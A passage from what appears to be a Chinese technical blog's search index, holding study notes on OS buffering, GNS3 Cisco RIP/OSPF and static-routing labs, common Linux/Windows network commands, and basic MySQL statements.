COCT与DCT——对应关系，DCT需要一个表项来表示控制器，即一个指向控制器控制表的指针\n通道控制表（CHCT） CHCT提供服务的那几个设备控制器\n系统设备表（SDT） 记录已经连接到系统中的所有物理设备的情况\n设备分配的策珞 分配原则：充分发挥设备效率，避免进程死锁\n分配方式 静态：系统—次性的把设备分配给相应作业，直到作业结束\n优点∶没有死锁问题\n缺点：降低了设备使用率\n动态：进程执行过程中根据执行需要进行分配\n优点：提高了设备利用率\n缺点∶分配算法不当可能导致死锁\n设备分配算法 先请求先分配类似于先来先服务\n优先级高者优先\n独占设备一般使用静态分配，共享设备一般使用动态分配\n5.1.8 缓冲区管理 磁盘高速缓存 使用磁盘高速缓存技术可以提高磁盘的IO速度，对高速缓存复制的访问要比原始数据访问更高效\n磁盘高速缓存，逻辑上属于磁盘，物理上属于驻留在内存中的盘块\n在内存中的两种形式 在内存中开辟一个单独的存储空间作为磁盘高速缓存，大小固定\n把未利用的内存空间作为一个缓冲池，供请求分页系统和磁盘IO时共享\n缓冲区 引入缓冲区的目的 缓和CPU与IO之间的速度差异矛盾\n减少对CPU的中断频率，放宽对CPU中断响应时间的限制\n解决基本数据单元大小不匹配的问题\n提高CPU和IO设备之间的并行性\n实现方法 采用硬件缓冲器〔成本过高），除了关键位置，一般不使用硬件缓冲器\n采用缓冲区（位于内存区域）\n分类 单缓冲\n设备和处理机之间设置缓冲区，设备和处理机交换数据的时候，先把被交换的数据写入缓冲区，然后需要数据的设备或处理机从缓冲区中取走数据\n使用时间max（ C，T）+M\n双缓冲\n设置两个缓冲区，当缓冲区1满时，向缓冲区2中注入数据，只有缓冲区满才能取出数据\n提高了处理机和输入设备的并行操作程度\nmax（ C+M，T）\n循环缓冲 包含多个大小相等的缓冲区，每个缓冲区中有一个链接指针指向下一个缓冲区，最后一个缓冲区指针指向第一个缓冲区，多个缓冲区构成一个环形\n缓冲池\n缓冲区分为三个队列，空缓冲队列，装满输入数据的缓冲队列，装满输出数据的缓冲队列\n四种缓冲区：收容输入数据的工作缓冲区，提取输入数据的工作缓冲区，收容输出数据的工作缓冲区，提取输出数据的工作缓冲区\n注意 管道通信中的“管道”其实就是缓冲区。要实现数据的双向传输，必须设置两个管道\n高速缓存与缓冲区对比 相同点 都介于高速设备和低速设备之间\n不同 存放数据\n高速缓存：存放的是低速设备上的某些数据的复制数据\n缓冲区：存放的是低速设备传递给高速设备的数据，这些数据在低速设备上不一定有备份，这些数据再从缓冲区传送到高速设备\n目的\n高速缓存∶高速缓存存放的是高速设备经常要访问的数据，如高速缓存中数据不在，高速设备就要访问低速设备\n高速设备和低速设备的通信都要经过缓冲区，高速设备永远不会去直接访问低速设备\n鸣谢 感谢王道考研\n资料 408思维导图和ppt（GitHub里大家多点star和关注哈哈哈）\nhttps://github.com/cen6667/408\n如有问题请留言，我每天都刷基本上会及时回复\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E5%AD%A6%E4%B8%9A%E5%BD%92%E6%A1%A3/operating_system/","summary":"操作系统 第一章 计算机系统概述 1.1 操作系统 1.1.1 操作系统的概念和功能 概念 操作系统（Operating System， OS）是指控制和管理整个计算机系统的硬件和软件资源，并合理地组织调度计算机的工作和资源的分配；以提供给用户和其他软件方便的接口和环境；它是计算机系统中最基本的系统软件。\n功能和目标 ①操作系统是系统资源的管理者 ②向上层提供方便易用的服务 封装思想：操作系统把一些丑陋的硬件功能封装成简单易用的服务，使用户能更方便地使用计算机，用户无需关心底层硬件的原理，只需要对操作系统发出命令即可。\nGUI：图形化用户接口（Graphical User Interface） 用户可以使用形象的图形界面进行操作，而不再需要记忆复杂的命令、参数。 例子：在Windows 操作系统中，删除一个文件只需要把文件“拖拽”到回收站即可。\n联机命令接口=交互式命令接口：用户说一句，系统跟着做一句\n脱机命令接口=批处理命令接口：用户说一堆，系统跟着做一堆\n程序接口：可以在程序中进行系统调用来使用程序接口。普通用户不能直接使用程序接口，只能通过程序代码间接使用。\n如：写C语言“Hello world”程序时，在printf 函数的底层就使用到了操作系统提供的显式相关的“系统调用”\n③是最接近硬件的一层软件 需要实现对硬件机器的拓展 没有任何软件支持的计算机称为裸机。在裸机上安装的操作系统， 可以提供资源管理功能和方便用户的服务功能，将裸机改造成功能 更强、使用更方便的机器 通常把覆盖了软件的机器成为扩充机器，又称之为虚拟机\n1.1.2 操作系统的特征 基本特征 并发、共享、虚拟、异步\n并发 两个或者多个事件在同一时间间隔内发生\n使得系统具有处理和调度多个程序同时执行的能力\n操作系统的并发是通过分时实现的\n注意：并发是指在一个时间段并行是指在同一个时刻并行是指系统具有同时执行或操作（硬件支持：多流水线或者多处理机）\n重要考点\n单核CPU同一时刻只能执行一个程序，各个程序只能并发地执行\n多核CPU同一时刻可以同时执行多个程序，多个程序可以并行地执行\n共享 互斥共享方式\n例如打印机、磁带，同一时刻只能供一个进程对资源进行访问\n这种资源称作：临界资源或者独占资源\n同时访问方式\n一段时间内允许多个进程对资源进行访问\n典型代表：磁盘设备重入码编写的文件\n虚拟 一个物理上的实体变为若干逻辑上的对应物，这种技术也被称为虚拟技术\n虚拟处理器：采用多道程序并发的方式，让每个终端用户感觉到有多个处理器 时分复用技术\n虚拟存储器：将物理存储变为虚拟存储器，逻辑上扩充存储器用 空分复用技术\n也可以将一台IO设备虚拟为多台逻辑上的IO设备，并允许每个用户占用一台逻辑上的IO设备\n异步 在多道程序环境下，允许多个程序并发执行，但由于资源有限，进程的执行不是一贯到底的，\n多道程序走走停停，进程以不可预知的速度向前进\n并发和共享的关系 并发性指计算机系统中同时存在着多个运行着的程序。 共享性是指系统中的资源可供内存中多个并发执行的进程共同使用。\n互为存在条件\n并发和虚拟的关系 如果失去了并发性，则一个时间段内系统中只需运行一道程序，那么就失去了实现虚拟性的意义了。因此，没有并发性，就谈不上虚拟性\n并发和异步的关系 只有系统拥有并发性，才有可能导致异步性。","title":"操作系统学习笔记"},{"content":"RIP 网络拓扑图 路由器配置 下面是路由器R1、R2和R3的配置示例:\nR1 配置:\nconfigure terminal interface FastEthernet0/0 ip address 10.1.1.1 255.255.255.0 no shutdown exit interface FastEthernet0/1 ip address 172.16.10.1 255.255.255.0 no shutdown exit router rip version 2 network 10.1.1.0 network 172.16.0.0 end wr R2 配置:\nconfigure terminal interface FastEthernet0/0 ip address 10.1.1.2 255.255.255.0 no shutdown exit router rip version 2 network 10.1.1.0 end wr R3 配置:\nconfigure terminal interface FastEthernet0/0 ip address 172.16.10.2 255.255.255.0 no shutdown exit router rip version 2 network 172.16.0.0 end wr 配置结果 show ip interface brief R2#show ip interface brief Interface IP-Address OK? Method Status Protocol FastEthernet0/0 10.1.1.2 YES manual up up R1#show ip interface brief Interface IP-Address OK? Method Status Protocol FastEthernet0/0 10.1.1.1 YES manual up up FastEthernet0/1 172.16.10.1 YES manual up up R3#show ip interface brief Interface IP-Address OK? Method Status Protocol FastEthernet0/0 172.16.10.2 YES manual up up show ip route show ip protocols 结果检验 问题记录 问题1：刚开始绘制拓扑图的时候随意发挥，每个网卡都配的不一样的子网，然后互相ping不通，虽然设置了rip协议，但是一开始就没有相互连上的网段，所以也无法进行交换。\nOSRF 网络拓扑图和路由配置 配置 R1 配置:\nconfigure terminal interface FastEthernet0/0 ip address 172.16.10.1 255.255.0.0 no shutdown exit interface FastEthernet0/1 ip address 10.1.1.1 255.255.255.0 no shutdown exit router ospf 100 network 10.1.1.0 0.0.0.255 area 0 network 172.16.0.0 0.0.255.255 area 0 end wr R2 配置:\nconfigure terminal interface FastEthernet0/0 ip address 10.1.1.2 255.255.255.0 no shutdown exit router ospf 100 network 10.1.1.0 0.0.0.255 area 0 end wr R3 配置:\nconfigure terminal interface FastEthernet0/0 ip address 172.16.10.2 255.255.0.0 no shutdown exit router ospf 100 network 172.16.0.0 0.0.255.255 area 0 end wr 配置截图 show ip route show ip protocols 联通性测试 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/net-riposrf-ongns3/","summary":"RIP 网络拓扑图 路由器配置 下面是路由器R1、R2和R3的配置示例:\nR1 配置:\nconfigure terminal interface FastEthernet0/0 ip address 10.1.1.1 255.255.255.0 no shutdown exit interface FastEthernet0/1 ip address 172.16.10.1 255.255.255.0 no shutdown exit router rip version 2 network 10.1.1.0 network 172.16.0.0 end wr R2 配置:\nconfigure terminal interface FastEthernet0/0 ip address 10.1.1.2 255.255.255.0 no shutdown exit router rip version 2 network 10.1.1.0 end wr R3 配置:\nconfigure terminal interface FastEthernet0/0 ip address 172.16.10.2 255.255.255.0 no shutdown exit router rip version 2 network 172.","title":"GNS3+cisco 动态路由实验RIP/OSRF"},{"content":"预备知识 静态路由和动态路由是什么？ 静态路由\n静态路由是一种手动配置路由信息的方式，其中网络管理员手动指定每个目的地网络的下一跳路由器或出口。这些手动配置的路由信息通常在网络中不经常更改，因此称为\u0026quot;静态\u0026quot;路由。静态路由通常用于小型网络或需要特定路由路径的特殊情况，例如，将流量定向到特定服务器或分支机构。\n静态路由的主要优点是简单和易于管理，因为管理员有完全的控制权。然而，它不适用于大型、复杂的网络，因为手动配置路由信息可能变得非常繁琐，并且难以应对网络拓扑的变化。\n动态路由\n动态路由是一种更灵活的路由方式，其中路由器能够自动学习网络拓扑和动态地调整路由表。动态路由协议允许路由器之间交换路由信息，以确定最佳路径到达目的地网络。一些常见的动态路由协议包括RIP（Routing Information Protocol）、OSPF（Open Shortest Path First）和BGP（Border Gateway Protocol）等。\n动态路由的主要优势在于其自动性和适应性。它适用于大型复杂的网络，因为它能够适应网络拓扑的变化，而无需手动更新路由信息。然而，动态路由也可能引入一些安全和性能方面的考虑，因此需要适当的配置和监控。\nGNS3 console 模式介绍 用户 EXEC 模式 该模式下，提示符为“ Router\u0026gt;”，需要了解该模式下可以实用的命令，输入 “ ?”。 特权 EXEC 模式 查看 Cisco 路由器的系统参数，必需进入特权 EXEC 模式，输入命令：\nRouter1\u0026gt; enable Password: Router1# 全局配置模式 若需要修改系统范围内的配置参数，必需进入全局配置模式。输入命令：\nRouter1# configure terminal Router1(config)# 接口配置模式 若要修改网络接口，需要进入接口配置模式。输入命令：\nRouter1(Config)#interface Ethernet 0/0 Router1(config-if)# 返回\nExit 命令：层层返回，即退回到上一个命令层次。\nEnd 命令：从任何模式直接退回到特权 EXEC 模式。\nDisable 命令：从特权 EXEC 模式返回到用户 EXEC 模式。即\nRouter1＃ disable Router1\u0026gt; Logout 命令：从用户 EXEC 模式终止控制台会话，输入 logout。\nGNS3命令简介 # 配置路由 ## 注意！是目标的网络地址，不是IP地址！ R2(config)# ip route \u0026lt;目标网络地址\u0026gt; \u0026lt;子网掩码\u0026gt; \u0026lt;下一跳地址\u0026gt; # 配置IP地址 R2(config)# ip address \u0026lt;设置的地址\u0026gt; \u0026lt;子网掩码\u0026gt; no shutdown：这是interface子配置模式下的命令，用于激活（启用）接口，使其可以传输数据。当接口处于\u0026quot;shutdown\u0026quot;状态时，通过输入no shutdown命令，可以将接口从禁用状态切换到启用状态。这通常用于启用已禁用的接口。\nip routing 是一个配置命令，用于在Cisco路由器上启用路由功能。在Cisco路由器上，这个命令通常用于打开路由功能，以使路由器能够根据路由表来决定如何将数据包从一个网络传输到另一个网络。\n环境配置 GNS3环境配置可以参考这篇博文：https://www.cisco.com/c/zh_cn/support/docs/dial-access/floating-static-route/118263-technote-nexthop-00.html\nIOU，IOS下载地址：https://ccie.lol/blog/2016/07/03/cisco-ios-image-download/\n如果使用VirualBox等虚拟环境，遇到问题rc=-19\u0026hellip;解决方法：https://stackoverflow.com/questions/38437264/i-cant-execute-command-modprobe-vboxdrv\nGNS3 VM网卡设置：网卡一选择Host-Only，网卡二选择NAT\n静态路由实验 网络拓扑图 先绘制好拓扑图：\n放路由器，然后连线，点击全部start，然后依次打开他们的console。\n设置IP地址 先对router2和4进行配置，设定他们的IP地址就行，操作都是一样的。\nR4#show interface FastEthernet0/0 is administratively down, line protocol is down Hardware is DEC21140, address is ca02.0779.0000 (bia ca02.0779.0000) MTU 1500 bytes, BW 100000 Kbit/sec, DLY 100 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set Keepalive set (10 sec) Half-duplex, 100Mb/s, 100BaseTX/FX ARP type: ARPA, ARP Timeout 04:00:00 Last input never, output 00:13:07, output hang never Last clearing of \u0026#34;show interface\u0026#34; counters never Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 0 packets input, 0 bytes Received 0 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog 0 input packets with dribble condition detected 0 packets output, 0 bytes, 0 underruns R4#configure terminal Enter configuration commands, one per line. End with CNTL/Z. R4(config)#interface FastEthernet0/0 R4(config-if)#ip address 12.5.10.2 255.255.255.0 R4(config-if)#no shut R4(config-if)#ip routing R4(config)# *Oct 26 03:27:34.367: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state to up *Oct 26 03:27:35.367: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up R4(config)#exit R4# *Oct 26 03:27:38.723: %SYS-5-CONFIG_I: Configured from console by console R4#wr Warning: Attempting to overwrite an NVRAM configuration previously written by a different version of the system image. Overwrite the previous NVRAM configuration?[confirm] Building configuration... [OK] 按照表中设置好各个路由的IP地址之后，用ping命令进行测试：\nR2：能pingR1，ping不通R4\nR4：能ping通R1的12.5.10.1，R1的10.1.1.1不在同一子网，无法ping通；不能ping通R2\nR1：对R2、R4都能ping通\n设置静态路由 问题1：应该设置R2和R4的路由表，告诉他们对方是可达的，而不是设置R1的路由表。\n问题2：设置静态路由ip route出现错误%Inconsistent address and mask\n问题3：R2和R4的静态路由都设置好了，但就是ping不通\n找了很久的原因，最后发现中间R1的Fa0/1没有配好IP地址。\n查看命令show ip interface bried\n配好之后：\n然后就能完成R2 ping R4, R4 ping R2了。\n最后展示一下R2和R4静态路由的设置\n配置方法进入全局配置模式，有(config)标识，然后使用命令ip route [目标网络地址] [子网掩码] [下一跳IP地址]，最后记得wr保存配置。\n联通性测试 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/net-static_router-ongns3/","summary":"预备知识 静态路由和动态路由是什么？ 静态路由\n静态路由是一种手动配置路由信息的方式，其中网络管理员手动指定每个目的地网络的下一跳路由器或出口。这些手动配置的路由信息通常在网络中不经常更改，因此称为\u0026quot;静态\u0026quot;路由。静态路由通常用于小型网络或需要特定路由路径的特殊情况，例如，将流量定向到特定服务器或分支机构。\n静态路由的主要优点是简单和易于管理，因为管理员有完全的控制权。然而，它不适用于大型、复杂的网络，因为手动配置路由信息可能变得非常繁琐，并且难以应对网络拓扑的变化。\n动态路由\n动态路由是一种更灵活的路由方式，其中路由器能够自动学习网络拓扑和动态地调整路由表。动态路由协议允许路由器之间交换路由信息，以确定最佳路径到达目的地网络。一些常见的动态路由协议包括RIP（Routing Information Protocol）、OSPF（Open Shortest Path First）和BGP（Border Gateway Protocol）等。\n动态路由的主要优势在于其自动性和适应性。它适用于大型复杂的网络，因为它能够适应网络拓扑的变化，而无需手动更新路由信息。然而，动态路由也可能引入一些安全和性能方面的考虑，因此需要适当的配置和监控。\nGNS3 console 模式介绍 用户 EXEC 模式 该模式下，提示符为“ Router\u0026gt;”，需要了解该模式下可以实用的命令，输入 “ ?”。 特权 EXEC 模式 查看 Cisco 路由器的系统参数，必需进入特权 EXEC 模式，输入命令：\nRouter1\u0026gt; enable Password: Router1# 全局配置模式 若需要修改系统范围内的配置参数，必需进入全局配置模式。输入命令：\nRouter1# configure terminal Router1(config)# 接口配置模式 若要修改网络接口，需要进入接口配置模式。输入命令：\nRouter1(Config)#interface Ethernet 0/0 Router1(config-if)# 返回\nExit 命令：层层返回，即退回到上一个命令层次。\nEnd 命令：从任何模式直接退回到特权 EXEC 模式。\nDisable 命令：从特权 EXEC 模式返回到用户 EXEC 模式。即\nRouter1＃ disable Router1\u0026gt; Logout 命令：从用户 EXEC 模式终止控制台会话，输入 logout。","title":"GNS3静态路由实验"},{"content":"ipconfig, ifconfig, ip ipconfig是windows中的命令，linux上是ifconfig，但ip命令比ifconfig更强大，旨在取代ifconfig命令。\nping ping命令是DOS命令，一般用于检测网络是否通畅以及网络连接速度，结果只越大，说明速度越慢。它使用网络层的ICMP协议。\nping [参数选项] [主机名或IP地址] linux 参数 含义 -c 设置完成要求回应的次数 -i 指定收发信息的间隔时间 -s 设置数据包的大小 -w 在设定的秒后退出 windows 参数 含义 -t 连续对IP地址执行ping命令，直到用户以\u0026lt;control+c\u0026gt;键强制中断 -l 指定ping命令的数据长度 -n 执行特定次数的ping命令 netstat netstat 用来查看当前操作系统的网络连接状态、路由表、接口统计等信息，来自于 net-tools 工具包，ss 是 netstat 的升级版。\n参数 含义 -a 显示主机中所有活动的网络连接信息 (包括监听、非监听状态的服务端口) -n 以数字的形式显示相关的主机地址、端口等信息 -p 显示与网络连接相关联的进程号、进程名称信息 (该选项需要 root 权限) -l 显示处于监听 (Listen) 状态的网络连接及端口信息 -t 查看 TCP (Transmission Control Protocol，传输控制协议) 相关的信息 -u 显示 UDP (User Datagram Protocol，用户数据报协议) 协议相关的信息 -r 显示路由表信息 -i 显示网卡列表 -g 显示组播组的关系 -s 显示网络统计信息 常用命令选项：\nnetstat [-anpt] [-anpu] [-anptu] [-anpltu] [-ntlp] ss ss 命令来自于 iproute 包，是 netstat 的升级版本。netstat 通过遍历 /proc 来获取 socket 信息，ss 使用 netlink 与内核 tcp_diag 模块通信获取 socket 信息。 格式：\nss [OPTION]... [FILTER] 参数 含义 -a 显示主机中所有活动的网络连接信息 (包括监听、非监听状态的服务端口) -n 以数字的形式显示相关的主机地址、端口等信息 -p 显示与网络连接相关联的进程号、进程名称信息 (该选项需要 root 权限) -l 显示处于监听 (Listen) 状态的网络连接及端口信息 -t 查看 TCP (Transmission Control Protocol，传输控制协议) 相关的信息 -u 显示 UDP (User Datagram Protocol，用户数据报协议) 协议相关的信息 -x unix sock 相关 -w 裸套接字相关 -e 扩展的信息 -m 内存用量 -o 计时器信息 #显示本地打开的所有端口 ss -l #列出当前 socket 详细信息 ss -s #显示每个进程具体打开的 socket ss -pl #显示所有 tcp socket ss -at #显示所有的 udp socket ss -au #显示所有已建立的 ssh 连接 ss -o state established \u0026#39;( dport = :ssh or sport = :ssh )\u0026#39; #显示所有已建立的HTTP连接 ss -o state established \u0026#39;( dport = :http or sport = :http )\u0026#39; traceroute traceroute 命令可以用于测试从当前主机到目的主机之间经过了哪些网络结点，并显示各个中间结点的连接状态（响应时间）。对于无法响应的结点，连接状态将显示为 “*”，预设数据包大小是 40Bytes，用户可另行设置。如果没有 traceroute 命令可执行 yum -y install traceroute 安装。\n格式：\ntraceroute [参数] [主机|IP] 参数：\n参数 含义 -d 使用 Socket 层级的排错功能 -f 设置第一个检测数据包的存活数值 TTL 的大小 -F 设置勿离断位 -g 设置来源路由网关，最多可设置 8 个 -i 使用指定的网络界面送出数据包 -l I 使用 ICMP 回应取代 UDP 资料信息 -m 设置检测数据包的最大存活数值 TTL 的大小 -n 直接使用 IP 地址而非主机名称 -p 设置 UDP 传输协议的通信端口 -r 忽略普通的 Routing Table，直接将数据包送到远端主机上 -s 设置本地主机送出数据包的 IP 地址 -t 设置检测数据包的 TOS 数值 -v 详细显示指令的执行过程 -w 设置等待远端主机回报的时间 -x 开启或关闭数据包的正确性检验 [root@c7-1 ~]#traceroute 20.0.0.25 traceroute to 20.0.0.25 (20.0.0.25), 30 hops max, 60 byte packets 1 20.0.0.25 (20.0.0.25) 0.942 ms 0.782 ms 0.647 ms #可以看到这两台机器之间没有经过路由，是直连或连着交换机的状态 [root@c7-1 ~]#traceroute www.baidu.com traceroute to www.baidu.com (112.80.248.75), 30 hops max, 60 byte packets 1 gateway (20.0.0.2) 5.900 ms 5.817 ms 5.758 ms 2 * * * 3 * * * 4 * * * ...... nslookup nslookup是一个用于查询域名系统（DNS）以获取有关域名、IP地址和其他DNS记录信息的网络管理命令行工具。\nnslookup 域名 示例：\n[root@c7-1 ~]#nslookup www.baidu.com Server:\t20.0.0.2 Address:\t20.0.0.2#53 Non-authoritative answer: www.baidu.com\tcanonical name = www.a.shifen.com. Name:\twww.a.shifen.com Address: 112.80.248.75 Name:\twww.a.shifen.com Address: 112.80.248.76 [root@c7-1 ~]#nslookup www.google.com Server:\t20.0.0.2 Address:\t20.0.0.2#53 Non-authoritative answer: Name:\twww.google.com Address: 104.244.46.208 Name:\twww.google.com Address: 2001::1f0d:5211 [root@c7-1 ~]#cat /etc/resolv.conf\t#域名解析配置文件 # Generated by NetworkManager # 一行一个 DNS，最多配置三个 DNS，优先使用第一个 DNS 服务器 nameserver 20.0.0.2 [root@c7-1 ~]#cat /etc/hosts 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 112.80.248.75 www.baidu.com #/etc/hosts 文件中记录着一份主机名与 IP 地址的映射关系表，一般用来保存经常需要访问的主机的信息。当访问一个未知的域名时，先查找该文件中是否有相应的映射记录，如果找不到再去向 DNS 服务器查询。 ARP ARP（Address Resolution Protocol，地址解析协议）缓冲区是在计算机或网络设备上维护的一个表格，用于存储 IP 地址与MAC 地址之间的映射关系。ARP 协议用于将目标主机的 IP 地址解析成其对应的 MAC 地址，从而实现数据在网络上的正确传输。\n在一个局域网中，当计算机 A 需要与计算机 B 进行通信时，A 需要知道 B 的 MAC 地址才能正确发送数据包。这时，A 发送一个 ARP 请求广播，询问网络中是否有拥有特定 IP 地址的设备，并且请求对应设备的 MAC 地址。设备 B 收到请求后，会回复一个 ARP 响应，包含其自己的 MAC 地址。一旦 A 收到了 B 的 MAC 地址，它就可以将数据包正确地发送给 B。\nARP 缓冲区（或称为 ARP 表格、ARP 缓存）在这个过程中起到了重要作用。当设备 A 解析了设备 B 的 IP 地址并获取到 B 的 MAC 地址后，它将这个映射关系存储在 ARP 缓冲区中。这样，以后 A 需要与 B 通信时，就无需再次发送 ARP 请求，而是直接从 ARP 缓冲区中获取 B 的 MAC 地址，从而加速通信过程。\narp 命令用于操作主机的 arp 缓冲区，可以用来显示 arp 缓冲区中的所有条目、删除指定的条目或者添加静态的 ip 地址与 MAC 地址对应关系。\n格式：\narp [-vn] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] [-a] [\u0026lt;hostname\u0026gt;] \u0026lt;-Display ARP cache arp [-v] [-i \u0026lt;if\u0026gt;] -d \u0026lt;host\u0026gt; [pub] \u0026lt;-Delete ARP entry arp [-vnD] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] -f [\u0026lt;filename\u0026gt;] \u0026lt;-Add entry from file arp [-v] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] -s \u0026lt;host\u0026gt; \u0026lt;hwaddr\u0026gt; [temp] \u0026lt;-Add entry arp [-v] [\u0026lt;HW\u0026gt;] [-i \u0026lt;if\u0026gt;] -Ds \u0026lt;host\u0026gt; \u0026lt;if\u0026gt; [netmask \u0026lt;nm\u0026gt;] pub \u0026lt;-\u0026#39;\u0026#39;- 参数：\n-a\u0026lt;主机\u0026gt;：\t显示 arp 缓冲区的所有条目 -H\u0026lt;地址类型\u0026gt;：\t指定 arp 指令使用的地址类型 -d\u0026lt;主机\u0026gt;：\t从 arp 缓冲区中删除指定主机的 arp 条目 -D：\t使用指定接口的硬件地址 -e：\t以 Linux 的显示风格显示 arp 缓冲区中的条目 -i\u0026lt;接口\u0026gt;：\t指定要操作 arp 缓冲区的网络接口 -s\u0026lt;主机\u0026gt;\u0026lt;MAC地址\u0026gt;：设置指定的主机的 IP 地址与 MAC 地址的静态映射 -n：\t以数字方式显示 arp 缓冲区中的条目 -v：\t显示详细的 arp 缓冲区条目，包括缓冲区条目的统计信息 -f\u0026lt;文件\u0026gt;：\t设置主机的 IP 地址与 MAC 地址的静态映射\n示例：\n#显示 ARP 表 arp -n\t或\tip neigh #ARP 静态绑定 MAC 地址可以防止 ARP 欺骗 arp -s 10.0.0.6 00:0c:29:32:80:38 #删除 arp 缓存条目 arp -d 10.0.0.6 #指定回复的 MAC 地址 arp -i eth0 -Ds 10.0.0.2 eth1 pub FTP FTP（File Transfer Protocol）是一种用于在网络上传输文件的标准协议。你可以使用命令行界面或者专门的 FTP 客户端来测试和使用 FTP 命令。下面是一些基本的 FTP 命令以及如何进行测试：\n连接到 FTP 服务器： 使用以下命令连接到 FTP 服务器，其中 \u0026lt;server_address\u0026gt; 是服务器的地址（域名或 IP 地址）：\nftp \u0026lt;server_address\u0026gt; 输入该命令后，你将会被要求输入用户名和密码来进行身份验证。\n浏览远程目录： 连接成功后，你可以使用 ls 命令列出远程服务器上的文件和目录。\n切换远程目录： 使用 cd 命令来切换远程服务器上的目录：\ncd \u0026lt;directory_name\u0026gt; 下载文件： 使用 get 命令来下载远程服务器上的文件到本地：\nget \u0026lt;remote_file_name\u0026gt; 上传文件： 使用 put 命令来上传本地文件到远程服务器：\nput \u0026lt;local_file_name\u0026gt; 退出 FTP 会话： 使用 quit 或 bye 命令来退出 FTP 会话：\nquit 请注意，上述命令只是 FTP 命令的一小部分，而实际的 FTP 客户端可能提供更多功能和选项。如果你在终端或命令提示符中直接使用上述命令，确保你已经连接到一个可用的 FTP 服务器，并且你已经登录并有足够的权限进行操作。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E7%BD%91%E7%BB%9C%E4%B8%8E%E5%AE%89%E5%85%A8/network-commands/","summary":"ipconfig, ifconfig, ip ipconfig是windows中的命令，linux上是ifconfig，但ip命令比ifconfig更强大，旨在取代ifconfig命令。\nping ping命令是DOS命令，一般用于检测网络是否通畅以及网络连接速度，结果只越大，说明速度越慢。它使用网络层的ICMP协议。\nping [参数选项] [主机名或IP地址] linux 参数 含义 -c 设置完成要求回应的次数 -i 指定收发信息的间隔时间 -s 设置数据包的大小 -w 在设定的秒后退出 windows 参数 含义 -t 连续对IP地址执行ping命令，直到用户以\u0026lt;control+c\u0026gt;键强制中断 -l 指定ping命令的数据长度 -n 执行特定次数的ping命令 netstat netstat 用来查看当前操作系统的网络连接状态、路由表、接口统计等信息，来自于 net-tools 工具包，ss 是 netstat 的升级版。\n参数 含义 -a 显示主机中所有活动的网络连接信息 (包括监听、非监听状态的服务端口) -n 以数字的形式显示相关的主机地址、端口等信息 -p 显示与网络连接相关联的进程号、进程名称信息 (该选项需要 root 权限) -l 显示处于监听 (Listen) 状态的网络连接及端口信息 -t 查看 TCP (Transmission Control Protocol，传输控制协议) 相关的信息 -u 显示 UDP (User Datagram Protocol，用户数据报协议) 协议相关的信息 -r 显示路由表信息 -i 显示网卡列表 -g 显示组播组的关系 -s 显示网络统计信息 常用命令选项：","title":"常用的网络命令"},{"content":"导出数据库为sql文件，在命令行中执行：\nmysqldump -u root -p course-system \u0026gt; course-system.sql DDL(Data Definition Language)数据定义语言 操作库 -- 创建库 create database db1; -- 创建库是否存在，不存在则创建 create database if not exists db1; -- 查看所有数据库 show databases; -- 查看某个数据库的定义信息 show create database db1; -- 修改数据库字符信息 alter database db1 character set utf8; -- 删除数据库 drop database db1; -- 使用某一数据库 use db1; 操作表 -- 创建表 create table student( id int, name varchar(32), age int , score double(4,1), birthday date, insert_time timestamp ); -- 查看表结构 desc 表名; -- 查看创建表的SQL语句 show create table 表名; -- 修改表名 alter table 表名 rename to 新的表名; -- 添加一列 alter table 表名 add 列名 数据类型; -- 删除列 alter table 表名 drop 列名; -- 删除表 drop table 表名; drop table if exists 表名 ; DML(Data Manipulation Language)数据操作语言 增加 insert into -- 写全所有列名 insert into 表名(列名1,列名2,...列名n) values(值1,值2,...值n); -- 不写列名（所有列全部添加） insert into 表名 values(值1,值2,...值n); -- 插入部分数据 insert into 表名(列名1,列名2) values(值1,值2); 删除 delete -- 删除表中数据 delete from 表名 where 列名 = 值; -- 删除表中所有数据 delete from 表名; -- 删除表中所有数据（高效 先删除表，然后再创建一张一样的表。） truncate table 表名; 修改 update -- 不带条件的修改(会修改所有行) update 表名 set 列名 = 值; -- 带条件的修改 update 表名 set 列名 = 值 where 列名=值; DCL(Data Control Language)数据控制语言 管理用户 添加用户 语法：CREATE USER \u0026lsquo;用户名\u0026rsquo;@\u0026lsquo;主机名\u0026rsquo; IDENTIFIED BY \u0026lsquo;密码\u0026rsquo;;\n删除用户 语法：DROP USER \u0026lsquo;用户名\u0026rsquo;@\u0026lsquo;主机名\u0026rsquo;;\n权限管理 查询权限 -- 查询权限 SHOW GRANTS FOR \u0026#39;用户名\u0026#39;@\u0026#39;主机名\u0026#39;; SHOW GRANTS FOR \u0026#39;lisi\u0026#39;@\u0026#39;%\u0026#39;; 授予权限 -- 授予权限 grant 权限列表 on 数据库名.表名 to \u0026#39;用户名\u0026#39;@\u0026#39;主机名\u0026#39;; -- 给张三用户授予所有权限，在任意数据库任意表上 GRANT ALL ON *.* TO \u0026#39;zhangsan\u0026#39;@\u0026#39;localhost\u0026#39;; 撤销权限 -- 撤销权限： revoke 权限列表 on 数据库名.表名 from \u0026#39;用户名\u0026#39;@\u0026#39;主机名\u0026#39;; REVOKE UPDATE ON db3.`account` FROM \u0026#39;lisi\u0026#39;@\u0026#39;%\u0026#39;; 